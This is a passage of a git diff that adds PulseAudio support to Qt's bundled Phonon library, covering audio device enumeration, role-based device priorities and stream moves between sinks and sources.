+static QMap<int, AudioDevice> s_outputDevices;
+static QMap<Phonon::Category, QMap<int, int> > s_outputDevicePriorities; // prio, device
+static QMap<QString, uint32_t> s_outputStreamIndexMap;
+
+static QMap<QString, int> s_captureDeviceIndexes;
+static QMap<int, AudioDevice> s_captureDevices;
+static QMap<Phonon::Category, QMap<int, int> > s_captureDevicePriorities; // prio, device
+static QMap<QString, uint32_t> s_captureStreamIndexMap;
+
+static void createGenericDevices()
+{
+    // OK so we don't have the device manager extension, but we can show a single device and fake it.
+    int index;
+    s_outputDeviceIndexes.clear();
+    s_outputDevices.clear();
+    s_outputDevicePriorities.clear();
+    index = s_deviceIndexCounter++;
+    s_outputDeviceIndexes.insert("sink:default", index);
+    s_outputDevices.insert(index, AudioDevice("sink:default", QObject::tr("PulseAudio Sound Server").toUtf8(), "audio-backend-pulseaudio", 0));
+    for (int i = Phonon::NoCategory; i <= Phonon::LastCategory; ++i) {
+        Phonon::Category cat = static_cast<Phonon::Category>(i);
+        s_outputDevicePriorities[cat].insert(0, index);
+    }
+
+    s_captureDeviceIndexes.clear();
+    s_captureDevices.clear();
+    s_captureDevicePriorities.clear();
+    index = s_deviceIndexCounter++;
+    s_captureDeviceIndexes.insert("source:default", index);
+    s_captureDevices.insert(index, AudioDevice("source:default", QObject::tr("PulseAudio Sound Server").toUtf8(), "audio-backend-pulseaudio", 0));
+    for (int i = Phonon::NoCategory; i <= Phonon::LastCategory; ++i) {
+        Phonon::Category cat = static_cast<Phonon::Category>(i);
+        s_captureDevicePriorities[cat].insert(0, index);
+    }
+}
+
+#ifdef HAVE_PULSEAUDIO_DEVICE_MANAGER
+static void ext_device_manager_read_cb(pa_context *c, const pa_ext_device_manager_info *info, int eol, void *userdata) {
+    Q_ASSERT(c);
+    Q_ASSERT(userdata);
+
+    PulseUserData *u = reinterpret_cast<PulseUserData*>(userdata);
+
+    if (eol < 0) {
+        logMessage(QString("Failed to initialize device manager extension: %1").arg(pa_strerror(pa_context_errno(c))));
+        logMessage("Falling back to single device mode");
+        createGenericDevices();
+        delete u;
+
+        // If this is our probe phase, exit now
+        if (s_context != c)
+            pa_context_disconnect(c);
+
+        return;
+    }
+
+    if (eol) {
+        // We're done reading the data, so order it by priority and copy it into the
+        // static variables where it can then be accessed by those classes that need it.
+
+        QMap<QString, AudioDevice>::iterator newdev_it;
+
+        // Check for new output devices or things changing about known output devices.
+        bool output_changed = false;
+        for (newdev_it = u->newOutputDevices.begin(); newdev_it != u->newOutputDevices.end(); ++newdev_it) {
+            QString name = newdev_it.key();
+
+            // The name + index map is always written when a new device is added.
+            Q_ASSERT(s_outputDeviceIndexes.contains(name));
+
+            int index = s_outputDeviceIndexes[name];
+            if (!s_outputDevices.contains(index)) {
+                // This is a totally new device
+                output_changed = true;
+                logMessage(QString("Brand New Output Device Found."));
+                s_outputDevices.insert(index, *newdev_it);
+            } else  if (s_outputDevices[index] != *newdev_it) {
+                // We have this device already, but is it different?
+                output_changed = true;
+                logMessage(QString("Change to Existing Output Device (may be Added/Removed or something else)"));
+                s_outputDevices.remove(index);
+                s_outputDevices.insert(index, *newdev_it);
+            }
+        }
+        // Go through the output devices we know about and see if any are no longer mentioned in the list.
+        QMutableMapIterator<QString, int> output_existing_it(s_outputDeviceIndexes);
+        while (output_existing_it.hasNext()) {
+            output_existing_it.next();
+            if (!u->newOutputDevices.contains(output_existing_it.key())) {
+                output_changed = true;
+                logMessage(QString("Output Device Completely Removed"));
+                s_outputDevices.remove(output_existing_it.value());
+                output_existing_it.remove();
+            }
+        }
+
+        // Check for new capture devices or things changing about known capture devices.
+        bool capture_changed = false;
+        for (newdev_it = u->newCaptureDevices.begin(); newdev_it != u->newCaptureDevices.end(); ++newdev_it) {
+            QString name = newdev_it.key();
+
+            // The name + index map is always written when a new device is added.
+            Q_ASSERT(s_captureDeviceIndexes.contains(name));
+
+            int index = s_captureDeviceIndexes[name];
+            if (!s_captureDevices.contains(index)) {
+                // This is a totally new device
+                capture_changed = true;
+                logMessage(QString("Brand New Capture Device Found."));
+                s_captureDevices.insert(index, *newdev_it);
+            } else  if (s_captureDevices[index] != *newdev_it) {
+                // We have this device already, but is it different?
+                capture_changed = true;
+                logMessage(QString("Change to Existing Capture Device (may be Added/Removed or something else)"));
+                s_captureDevices.remove(index);
+                s_captureDevices.insert(index, *newdev_it);
+            }
+        }
+        // Go through the capture devices we know about and see if any are no longer mentioned in the list.
+        QMutableMapIterator<QString, int> capture_existing_it(s_captureDeviceIndexes);
+        while (capture_existing_it.hasNext()) {
+            capture_existing_it.next();
+            if (!u->newCaptureDevices.contains(capture_existing_it.key())) {
+                capture_changed = true;
+                logMessage(QString("Capture Device Completely Removed"));
+                s_captureDevices.remove(capture_existing_it.value());
+                capture_existing_it.remove();
+            }
+        }
+
+        // Just copy accross the new priority lists as we know they are valid
+        if (s_outputDevicePriorities != u->newOutputDevicePriorities) {
+            output_changed = true;
+            s_outputDevicePriorities = u->newOutputDevicePriorities;
+        }
+        if (s_captureDevicePriorities != u->newCaptureDevicePriorities) {
+            capture_changed = true;
+            s_captureDevicePriorities = u->newCaptureDevicePriorities;
+        }
+
+        if (s_instance) {
+            // This wont be emitted durring the connection probe phase
+            // which is intensional
+            if (output_changed)
+                s_instance->emitObjectDescriptionChanged(AudioOutputDeviceType);
+            if (capture_changed)
+                s_instance->emitObjectDescriptionChanged(AudioCaptureDeviceType);
+        }
+
+        // We can free the user data as we will not be called again.
+        delete u;
+
+        // Some debug
+        logMessage(QString("Output Device Priority List:"));
+        for (int i = Phonon::NoCategory; i <= Phonon::LastCategory; ++i) {
+            Phonon::Category cat = static_cast<Phonon::Category>(i);
+            if (s_outputDevicePriorities.contains(cat)) {
+                logMessage(QString("  Phonon Category %1").arg(cat));
+                int count = 0;
+                foreach (int j, s_outputDevicePriorities[cat]) {
+                    QHash<QByteArray, QVariant> &props = s_outputDevices[j].properties;
+                    logMessage(QString("    %1. %2 (Available: %3)").arg(++count).arg(props["name"].toString()).arg(props["available"].toBool()));
+                }
+            }
+        }
+        logMessage(QString("Capture Device Priority List:"));
+        for (int i = Phonon::NoCategory; i <= Phonon::LastCategory; ++i) {
+            Phonon::Category cat = static_cast<Phonon::Category>(i);
+            if (s_captureDevicePriorities.contains(cat)) {
+                logMessage(QString("  Phonon Category %1").arg(cat));
+                int count = 0;
+                foreach (int j, s_captureDevicePriorities[cat]) {
+                    QHash<QByteArray, QVariant> &props = s_captureDevices[j].properties;
+                    logMessage(QString("    %1. %2 (Available: %3)").arg(++count).arg(props["name"].toString()).arg(props["available"].toBool()));
+                }
+            }
+        }
+
+        // If this is our probe phase, exit now as we're finished reading
+        // our device info and can exit and reconnect
+        if (s_context != c)
+            pa_context_disconnect(c);
+    }
+
+    if (!info)
+        return;
+
+    Q_ASSERT(info->name);
+    Q_ASSERT(info->description);
+    Q_ASSERT(info->icon);
+
+    // QString wrapper
+    QString name(info->name);
+    int index;
+    QMap<Phonon::Category, QMap<int, int> > *new_prio_map_cats; // prio, device
+    QMap<QString, AudioDevice> *new_devices;
+
+    if (name.startsWith("sink:")) {
+        new_devices = &u->newOutputDevices;
+        new_prio_map_cats = &u->newOutputDevicePriorities;
+
+        if (s_outputDeviceIndexes.contains(name))
+            index = s_outputDeviceIndexes[name];
+        else
+            index = s_outputDeviceIndexes[name] = s_deviceIndexCounter++;
+    } else if (name.startsWith("source:")) {
+        new_devices = &u->newCaptureDevices;
+        new_prio_map_cats = &u->newCaptureDevicePriorities;
+
+        if (s_captureDeviceIndexes.contains(name))
+            index = s_captureDeviceIndexes[name];
+        else
+            index = s_captureDeviceIndexes[name] = s_deviceIndexCounter++;
+    } else {
+        // This indicates a bug in pulseaudio.
+        return;
+    }
+
+    // Add the new device itself.
+    new_devices->insert(name, AudioDevice(name, info->description, info->icon, info->index));
+
+    // For each role in the priority, map it to a phonon category and store the order.
+    for (uint32_t i = 0; i < info->n_role_priorities; ++i) {
+        pa_ext_device_manager_role_priority_info* role_prio = &info->role_priorities[i];
+        Q_ASSERT(role_prio->role);
+
+        if (s_roleCategoryMap.contains(role_prio->role)) {
+            Phonon::Category cat = s_roleCategoryMap[role_prio->role];
+
+            (*new_prio_map_cats)[cat].insert(role_prio->priority, index);
+        }
+    }
+}
+
+static void ext_device_manager_subscribe_cb(pa_context *c, void *) {
+    Q_ASSERT(c);
+
+    pa_operation *o;
+    PulseUserData *u = new PulseUserData;
+    if (!(o = pa_ext_device_manager_read(c, ext_device_manager_read_cb, u))) {
+        logMessage(QString("pa_ext_device_manager_read() failed."));
+        delete u;
+        return;
+    }
+    pa_operation_unref(o);
+}
+#endif
+
+void sink_input_cb(pa_context *c, const pa_sink_input_info *i, int eol, void *userdata) {
+    Q_UNUSED(userdata);
+    Q_ASSERT(c);
+
+    if (eol < 0) {
+        if (pa_context_errno(c) == PA_ERR_NOENTITY)
+            return;
+
+        logMessage(QString("Sink input callback failure"));
+        return;
+    }
+
+    if (eol > 0)
+        return;
+
+    Q_ASSERT(i);
+
+    // loop through (*i) and extract phonon->streamindex...
+    const char *t;
+    if ((t = pa_proplist_gets(i->proplist, "phonon.streamid"))) {
+        logMessage(QString("Found PulseAudio stream index %1 for Phonon Output Stream %2").arg(i->index).arg(t));
+        s_outputStreamIndexMap[QString(t)] = i->index;
+
+        // Find the sink's phonon index and notify whoever cares...
+        if (PA_INVALID_INDEX != i->sink) {
+            bool found = false;
+            int device;
+            QMap<int, AudioDevice>::iterator it;
+            for (it = s_outputDevices.begin(); it != s_outputDevices.end(); ++it) {
+                if ((*it).pulseIndex == i->sink) {
+                    found = true;
+                    device = it.key();
+                    break;
+                }
+            }
+            if (found) {
+                // OK so we just emit our signal
+                logMessage(QString("Letting the rest of phonon know about this"));
+                s_instance->emitUsingDevice(QString(t), device);
+            }
+        }
+    }
+}
+
+void source_output_cb(pa_context *c, const pa_source_output_info *i, int eol, void *userdata) {
+    Q_UNUSED(userdata);
+    Q_ASSERT(c);
+
+    if (eol < 0) {
+        if (pa_context_errno(c) == PA_ERR_NOENTITY)
+            return;
+
+        logMessage(QString("Source output callback failure"));
+        return;
+    }
+
+    if (eol > 0)
+        return;
+
+    Q_ASSERT(i);
+
+    // loop through (*i) and extract phonon->streamindex...
+    const char *t;
+    if ((t = pa_proplist_gets(i->proplist, "phonon.streamid"))) {
+        logMessage(QString("Found PulseAudio stream index %1 for Phonon Capture Stream %2").arg(i->index).arg(t));
+        s_captureStreamIndexMap[QString(t)] = i->index;
+
+        // Find the source's phonon index and notify whoever cares...
+        if (PA_INVALID_INDEX != i->source) {
+            bool found = false;
+            int device;
+            QMap<int, AudioDevice>::iterator it;
+            for (it = s_captureDevices.begin(); it != s_captureDevices.end(); ++it) {
+                if ((*it).pulseIndex == i->source) {
+                    found = true;
+                    device = it.key();
+                    break;
+                }
+            }
+            if (found) {
+                // OK so we just emit our signal
+                logMessage(QString("Letting the rest of phonon know about this"));
+                s_instance->emitUsingDevice(QString(t), device);
+            }
+        }
+    }
+}
+
+static void subscribe_cb(pa_context *c, pa_subscription_event_type_t t, uint32_t index, void *userdata) {
+    Q_UNUSED(userdata);
+
+    switch (t & PA_SUBSCRIPTION_EVENT_FACILITY_MASK) {
+        case PA_SUBSCRIPTION_EVENT_SINK_INPUT:
+            if ((t & PA_SUBSCRIPTION_EVENT_TYPE_MASK) == PA_SUBSCRIPTION_EVENT_REMOVE) {
+                QString phononid = s_outputStreamIndexMap.key(index);
+                if (!phononid.isEmpty()) {
+                    if (s_outputStreamIndexMap.contains(phononid)) {
+                        logMessage(QString("Phonon Output Stream %1 is gone at the PA end. Marking it as invalid in our cache as we may reuse it.").arg(phononid));
+                        s_outputStreamIndexMap[phononid] = PA_INVALID_INDEX;
+                    } else {
+                        logMessage(QString("Removing Phonon Output Stream %1 (it's gone!)").arg(phononid));
+                        s_outputStreamIndexMap.remove(phononid);
+                    }
+                }
+            } else {
+                pa_operation *o;
+                if (!(o = pa_context_get_sink_input_info(c, index, sink_input_cb, NULL))) {
+                    logMessage(QString("pa_context_get_sink_input_info() failed"));
+                    return;
+                }
+                pa_operation_unref(o);
+            }
+            break;
+
+        case PA_SUBSCRIPTION_EVENT_SOURCE_OUTPUT:
+            if ((t & PA_SUBSCRIPTION_EVENT_TYPE_MASK) == PA_SUBSCRIPTION_EVENT_REMOVE) {
+                QString phononid = s_captureStreamIndexMap.key(index);
+                if (!phononid.isEmpty()) {
+                    if (s_captureStreamIndexMap.contains(phononid)) {
+                        logMessage(QString("Phonon Capture Stream %1 is gone at the PA end. Marking it as invalid in our cache as we may reuse it.").arg(phononid));
+                        s_captureStreamIndexMap[phononid] = PA_INVALID_INDEX;
+                    } else {
+                        logMessage(QString("Removing Phonon Capture Stream %1 (it's gone!)").arg(phononid));
+                        s_captureStreamIndexMap.remove(phononid);
+                    }
+                }
+            } else {
+                pa_operation *o;
+                if (!(o = pa_context_get_source_output_info(c, index, source_output_cb, NULL))) {
+                    logMessage(QString("pa_context_get_sink_input_info() failed"));
+                    return;
+                }
+                pa_operation_unref(o);
+            }
+            break;
+    }
+}
+
+
+static const char* statename(pa_context_state_t state)
+{
+    switch (state)
+    {
+        case PA_CONTEXT_UNCONNECTED:  return "Unconnected";
+        case PA_CONTEXT_CONNECTING:   return "Connecting";
+        case PA_CONTEXT_AUTHORIZING:  return "Authorizing";
+        case PA_CONTEXT_SETTING_NAME: return "Setting Name";
+        case PA_CONTEXT_READY:        return "Ready";
+        case PA_CONTEXT_FAILED:       return "Failed";
+        case PA_CONTEXT_TERMINATED:   return "Terminated";
+    }
+
+    static QString unknown;
+    unknown = QString("Unknown state: %0").arg(state);
+    return unknown.toAscii().constData();
+}
+
+static void context_state_callback(pa_context *c, void *)
+{
+    Q_ASSERT(c);
+
+    logMessage(QString("context_state_callback %1").arg(statename(pa_context_get_state(c))));
+    pa_context_state_t state = pa_context_get_state(c);
+    if (state == PA_CONTEXT_READY) {
+        // We've connected to PA, so it is active
+        s_pulseActive = true;
+
+        // Attempt to load things up
+        pa_operation *o;
+
+        // 1. Register for the stream changes (except during probe)
+        if (s_context == c) {
+            pa_context_set_subscribe_callback(c, subscribe_cb, NULL);
+
+            if (!(o = pa_context_subscribe(c, (pa_subscription_mask_t)
+                                              (PA_SUBSCRIPTION_MASK_SINK_INPUT|
+                                               PA_SUBSCRIPTION_MASK_SOURCE_OUTPUT), NULL, NULL))) {
+                logMessage(QString("pa_context_subscribe() failed"));
+                return;
+            }
+            pa_operation_unref(o);
+        }
+
+#ifdef HAVE_PULSEAUDIO_DEVICE_MANAGER
+        // 2a. Attempt to initialise Device Manager info (except during probe)
+        if (s_context == c) {
+            pa_ext_device_manager_set_subscribe_cb(c, ext_device_manager_subscribe_cb, NULL);
+            if (!(o = pa_ext_device_manager_subscribe(c, 1, NULL, NULL))) {
+                logMessage(QString("pa_ext_device_manager_subscribe() failed"));
+                return;
+            }
+            pa_operation_unref(o);
+        }
+
+        // 3. Attempt to read info from Device Manager
+        PulseUserData *u = new PulseUserData;
+        if (!(o = pa_ext_device_manager_read(c, ext_device_manager_read_cb, u))) {
+            logMessage(QString("pa_ext_device_manager_read() failed. Attempting to continue without device manager support"));
+            createGenericDevices();
+            delete u;
+
+            // If this is our probe phase, exit immediately
+            if (s_context != c)
+                pa_context_disconnect(c);
+
+            return;
+        }
+        pa_operation_unref(o);
+
+#else
+        // If we know do not have Device Manager support, we just create our dummy devices now
+        createGenericDevices();
+
+        // If this is our probe phase, exit immediately
+        if (s_context != c)
+            pa_context_disconnect(c);
+#endif
+    } else if (!PA_CONTEXT_IS_GOOD(state)) {
+        /// @todo Deal with reconnection...
+        //logMessage("Connection to PulseAudio lost");
+
+        // If this is our probe phase, exit our context immediately
+        if (s_context != c)
+            pa_context_disconnect(c);
+    }
+}
+#endif // HAVE_PULSEAUDIO
+
+
+PulseSupport* PulseSupport::getInstance()
+{
+    if (NULL == s_instance) {
+        s_instance = new PulseSupport();
+    }
+    return s_instance;
+}
+
+void PulseSupport::shutdown()
+{
+    if (NULL != s_instance) {
+        delete s_instance;
+        s_instance = NULL;
+    }
+}
+
+PulseSupport::PulseSupport()
+ : QObject(), mEnabled(false)
+{
+#ifdef HAVE_PULSEAUDIO
+    // Initialise our map (is there a better way to do this?)
+    s_roleCategoryMap["none"] = Phonon::NoCategory;
+    s_roleCategoryMap["video"] = Phonon::VideoCategory;
+    s_roleCategoryMap["music"] = Phonon::MusicCategory;
+    s_roleCategoryMap["game"] = Phonon::GameCategory;
+    s_roleCategoryMap["event"] = Phonon::NotificationCategory;
+    s_roleCategoryMap["phone"] = Phonon::CommunicationCategory;
+    //s_roleCategoryMap["animation"]; // No Mapping
+    //s_roleCategoryMap["production"]; // No Mapping
+    s_roleCategoryMap["a11y"] = Phonon::AccessibilityCategory;
+
+    // To allow for easy debugging, give an easy way to disable this pulseaudio check
+    QString pulseenv = qgetenv("PHONON_PULSEAUDIO_DISABLE");
+    if (pulseenv.toInt()) {
+        logMessage("PulseAudio support disabled: PHONON_PULSEAUDIO_DISABLE is set");
+        return;
+    }
+
+    // We require a glib event loop
+    if (QLatin1String(QAbstractEventDispatcher::instance()->metaObject()->className())
+            != "QGuiEventDispatcherGlib") {
+        logMessage("Disabling PulseAudio integration for lack of GLib event loop.");
+        return;
+    }
+
+    // First of all conenct to PA via simple/blocking means and if that succeeds,
+    // use a fully async integrated mainloop method to connect and get proper support.
+    pa_mainloop *p_test_mainloop;
+    if (!(p_test_mainloop = pa_mainloop_new())) {
+        logMessage("PulseAudio support disabled: Unable to create mainloop");
+        return;
+    }
+
+    pa_context *p_test_context;
+    if (!(p_test_context = pa_context_new(pa_mainloop_get_api(p_test_mainloop), "libphonon-probe"))) {
+        logMessage("PulseAudio support disabled: Unable to create context");
+        pa_mainloop_free(p_test_mainloop);
+        return;
+    }
+
+    logMessage("Probing for PulseAudio...");
+    // (cg) Convert to PA_CONTEXT_NOFLAGS when PulseAudio 0.9.19 is required
+    if (pa_context_connect(p_test_context, NULL, static_cast<pa_context_flags_t>(0), NULL) < 0) {
+        logMessage(QString("PulseAudio support disabled: %1").arg(pa_strerror(pa_context_errno(p_test_context))));
+        pa_context_disconnect(p_test_context);
+        pa_context_unref(p_test_context);
+        pa_mainloop_free(p_test_mainloop);
+        return;
+    }
+
+    pa_context_set_state_callback(p_test_context, &context_state_callback, NULL);
+    for (;;) {
+        pa_mainloop_iterate(p_test_mainloop, 1, NULL);
+
+        if (!PA_CONTEXT_IS_GOOD(pa_context_get_state(p_test_context))) {
+            logMessage("PulseAudio probe complete.");
+            break;
+        }
+    }
+    pa_context_disconnect(p_test_context);
+    pa_context_unref(p_test_context);
+    pa_mainloop_free(p_test_mainloop);
+
+    if (!s_pulseActive) {
+        logMessage("PulseAudio support is not available.");
+        return;
+    }
+
+    // If we're still here, PA is available.
+    logMessage("PulseAudio support enabled");
+
+    // Now we connect for real using a proper main loop that we can forget
+    // all about processing.
+    s_mainloop = pa_glib_mainloop_new(NULL);
+    Q_ASSERT(s_mainloop);
+    pa_mainloop_api *api = pa_glib_mainloop_get_api(s_mainloop);
+
+    s_context = pa_context_new(api, "libphonon");
+    // (cg) Convert to PA_CONTEXT_NOFLAGS when PulseAudio 0.9.19 is required
+    if (pa_context_connect(s_context, NULL, static_cast<pa_context_flags_t>(0), 0) >= 0)
+        pa_context_set_state_callback(s_context, &context_state_callback, NULL);
+#endif
+}
+
+PulseSupport::~PulseSupport()
+{
+#ifdef HAVE_PULSEAUDIO
+    if (s_context) {
+        pa_context_disconnect(s_context);
+        s_context = NULL;
+    }
+
+    if (s_mainloop) {
+        pa_glib_mainloop_free(s_mainloop);
+        s_mainloop = NULL;
+    }
+#endif
+}
+
+bool PulseSupport::isActive()
+{
+#ifdef HAVE_PULSEAUDIO
+    return mEnabled && s_pulseActive;
+#else
+    return false;
+#endif
+}
+
+void PulseSupport::enable(bool enabled)
+{
+    mEnabled = enabled;
+}
+
+QList<int> PulseSupport::objectDescriptionIndexes(ObjectDescriptionType type) const
+{
+    QList<int> list;
+
+    if (type != AudioOutputDeviceType && type != AudioCaptureDeviceType)
+        return list;
+
+#ifdef HAVE_PULSEAUDIO
+    if (s_pulseActive) {
+        switch (type) {
+
+            case AudioOutputDeviceType: {
+                QMap<QString, int>::iterator it;
+                for (it = s_outputDeviceIndexes.begin(); it != s_outputDeviceIndexes.end(); ++it) {
+                    list.append(*it);
+                }
+                break;
+            }
+            case AudioCaptureDeviceType: {
+                QMap<QString, int>::iterator it;
+                for (it = s_captureDeviceIndexes.begin(); it != s_captureDeviceIndexes.end(); ++it) {
+                    list.append(*it);
+                }
+                break;
+            }
+            default:
+                break;
+        }
+    }
+#endif
+
+    return list;
+}
+
+QHash<QByteArray, QVariant> PulseSupport::objectDescriptionProperties(ObjectDescriptionType type, int index) const
+{
+    QHash<QByteArray, QVariant> ret;
+
+    if (type != AudioOutputDeviceType && type != AudioCaptureDeviceType)
+        return ret;
+
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(index);
+#else
+    if (s_pulseActive) {
+        switch (type) {
+
+            case AudioOutputDeviceType:
+                Q_ASSERT(s_outputDevices.contains(index));
+                ret = s_outputDevices[index].properties;
+                break;
+
+            case AudioCaptureDeviceType:
+                Q_ASSERT(s_captureDevices.contains(index));
+                ret = s_captureDevices[index].properties;
+                break;
+
+            default:
+                break;
+        }
+    }
+#endif
+
+    return ret;
+}
+
+QList<int> PulseSupport::objectIndexesByCategory(ObjectDescriptionType type, Category category) const
+{
+    QList<int> ret;
+
+    if (type != AudioOutputDeviceType && type != AudioCaptureDeviceType)
+        return ret;
+
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(category);
+#else
+    if (s_pulseActive) {
+        switch (type) {
+
+            case AudioOutputDeviceType:
+                if (s_outputDevicePriorities.contains(category))
+                    ret = s_outputDevicePriorities[category].values();
+                break;
+
+            case AudioCaptureDeviceType:
+                if (s_captureDevicePriorities.contains(category))
+                    ret = s_captureDevicePriorities[category].values();
+                break;
+
+            default:
+                break;
+        }
+    }
+#endif
+
+    return ret;
+}
+
+#ifdef HAVE_PULSEAUDIO
+static void setDevicePriority(Category category, QStringList list)
+{
+    QString role = s_roleCategoryMap.key(category);
+    if (role.isEmpty())
+        return;
+
+    logMessage(QString("Reindexing %1: %2").arg(role).arg(list.join(", ")));
+
+    char **devices;
+    devices = pa_xnew(char *, list.size()+1);
+    int i = 0;
+    foreach (QString str, list) {
+        devices[i++] = pa_xstrdup(str.toUtf8().constData());
+    }
+    devices[list.size()] = NULL;
+
+#ifdef HAVE_PULSEAUDIO_DEVICE_MANAGER 
+    pa_operation *o;
+    if (!(o = pa_ext_device_manager_reorder_devices_for_role(s_context, role.toUtf8().constData(), (const char**)devices, NULL, NULL)))
+        logMessage(QString("pa_ext_device_manager_reorder_devices_for_role() failed"));
+    else
+        pa_operation_unref(o);
+#endif
+
+    for (i = 0; i < list.size(); ++i)
+        pa_xfree(devices[i]);
+    pa_xfree(devices);
+}
+#endif
+
+void PulseSupport::setOutputDevicePriorityForCategory(Category category, QList<int> order)
+{
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(category);
+    Q_UNUSED(order);
+#else
+    QStringList list;
+    QList<int>::iterator it;
+
+    for (it = order.begin(); it != order.end(); ++it) {
+        if (s_outputDevices.contains(*it)) {
+            list << s_outputDeviceIndexes.key(*it);
+        }
+    }
+    setDevicePriority(category, list);
+#endif
+}
+
+void PulseSupport::setCaptureDevicePriorityForCategory(Category category, QList<int> order)
+{
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(category);
+    Q_UNUSED(order);
+#else
+    QStringList list;
+    QList<int>::iterator it;
+
+    for (it = order.begin(); it != order.end(); ++it) {
+        if (s_captureDevices.contains(*it)) {
+            list << s_captureDeviceIndexes.key(*it);
+        }
+    }
+    setDevicePriority(category, list);
+#endif
+}
+
+void PulseSupport::setStreamPropList(Category category, QString streamUuid)
+{
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(category);
+    Q_UNUSED(streamUuid);
+#else
+    QString role = s_roleCategoryMap.key(category);
+    if (role.isEmpty())
+        return;
+
+    logMessage(QString("Setting role to %1 for streamindex %2").arg(role).arg(streamUuid));
+    setenv("PULSE_PROP_media.role", role.toLatin1().constData(), 1);
+    setenv("PULSE_PROP_phonon.streamid", streamUuid.toLatin1().constData(), 1);
+#endif
+}
+
+void PulseSupport::emitObjectDescriptionChanged(ObjectDescriptionType type)
+{
+    emit objectDescriptionChanged(type);
+}
+
+void PulseSupport::emitUsingDevice(QString streamUuid, int device)
+{
+    emit usingDevice(streamUuid, device);
+}
+
+bool PulseSupport::setOutputDevice(QString streamUuid, int device) {
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(streamUuid);
+    Q_UNUSED(device);
+    return false;
+#else
+    if (s_outputDevices.size() < 2)
+        return true;
+
+    if (!s_outputDevices.contains(device)) {
+        logMessage(QString("Attempting to set Output Device for invalid device id %1.").arg(device));
+        return false;
+    }
+    const QVariant var = s_outputDevices[device].properties["name"];
+    logMessage(QString("Attempting to set Output Device to '%1' for Output Stream %2").arg(var.toString()).arg(streamUuid));
+
+    // Attempt to look up the pulse stream index.
+    if (s_outputStreamIndexMap.contains(streamUuid) && s_outputStreamIndexMap[streamUuid] != PA_INVALID_INDEX) {
+        logMessage(QString("... Found in map. Moving now"));
+
+        uint32_t pulse_device_index = s_outputDevices[device].pulseIndex;
+        uint32_t pulse_stream_index = s_outputStreamIndexMap[streamUuid];
+
+        logMessage(QString("Moving Pulse Sink Input %1 to '%2' (Pulse Sink %3)").arg(pulse_stream_index).arg(var.toString()).arg(pulse_device_index));
+
+        /// @todo Find a way to move the stream without saving it... We don't want to pollute the stream restore db.
+        pa_operation* o;
+        if (!(o = pa_context_move_sink_input_by_index(s_context, pulse_stream_index, pulse_device_index, NULL, NULL))) {
+            logMessage(QString("pa_context_move_sink_input_by_index() failed"));
+            return false;
+        }
+        pa_operation_unref(o);
+    } else {
+        logMessage(QString("... Not found in map. We will be notified of the device when the stream appears and we can process any moves needed then"));
+    }
+    return true;
+#endif
+}
+
+bool PulseSupport::setCaptureDevice(QString streamUuid, int device) {
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(streamUuid);
+    Q_UNUSED(device);
+    return false;
+#else
+    if (s_captureDevices.size() < 2)
+        return true;
+
+    if (!s_captureDevices.contains(device)) {
+        logMessage(QString("Attempting to set Capture Device for invalid device id %1.").arg(device));
+        return false;
+    }
+    const QVariant var = s_captureDevices[device].properties["name"];
+    logMessage(QString("Attempting to set Capture Device to '%1' for Capture Stream %2").arg(var.toString()).arg(streamUuid));
+
+    // Attempt to look up the pulse stream index.
+    if (s_captureStreamIndexMap.contains(streamUuid) && s_captureStreamIndexMap[streamUuid] == PA_INVALID_INDEX) {
+        logMessage(QString("... Found in map. Moving now"));
+
+        uint32_t pulse_device_index = s_captureDevices[device].pulseIndex;
+        uint32_t pulse_stream_index = s_captureStreamIndexMap[streamUuid];
+
+        logMessage(QString("Moving Pulse Source Output %1 to '%2' (Pulse Sink %3)").arg(pulse_stream_index).arg(var.toString()).arg(pulse_device_index));
+
+        /// @todo Find a way to move the stream without saving it... We don't want to pollute the stream restore db.
+        pa_operation* o;
+        if (!(o = pa_context_move_source_output_by_index(s_context, pulse_stream_index, pulse_device_index, NULL, NULL))) {
+            logMessage(QString("pa_context_move_source_output_by_index() failed"));
+            return false;
+        }
+        pa_operation_unref(o);
+    } else {
+        logMessage(QString("... Not found in map. We will be notified of the device when the stream appears and we can process any moves needed then"));
+    }
+    return true;
+#endif
+}
+
+void PulseSupport::clearStreamCache(QString streamUuid) {
+#ifndef HAVE_PULSEAUDIO
+    Q_UNUSED(streamUuid);
+    return;
+#else
+    logMessage(QString("Clearing stream cache for stream %1").arg(streamUuid));
+    s_outputStreamIndexMap.remove(streamUuid);
+    s_captureStreamIndexMap.remove(streamUuid);
+#endif
+}
+
+} // namespace Phonon
+
+QT_END_NAMESPACE
+
+#include "moc_pulsesupport.cpp"
+
+// vim: sw=4 ts=4
diff --git a/src/3rdparty/phonon/phonon/pulsesupport.h b/src/3rdparty/phonon/phonon/pulsesupport.h
new file mode 100644
index 0000000..c38bece
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/pulsesupport.h
@@ -0,0 +1,78 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2009 Colin Guthrie <cguthrie@mandriva.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation 
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public 
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_PULSESUPPORT_H
+#define PHONON_PULSESUPPORT_H
+
+#include "phonon_export.h"
+#include "phononnamespace.h"
+#include "objectdescription.h"
+
+#include <QtCore/QtGlobal>
+#include <QtCore/QSet>
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+    class PHONON_EXPORT PulseSupport : public QObject
+    {
+        Q_OBJECT
+        public:
+            static PulseSupport* getInstance();
+            static void shutdown();
+
+            bool isActive();
+            void enable(bool enabled = true);
+
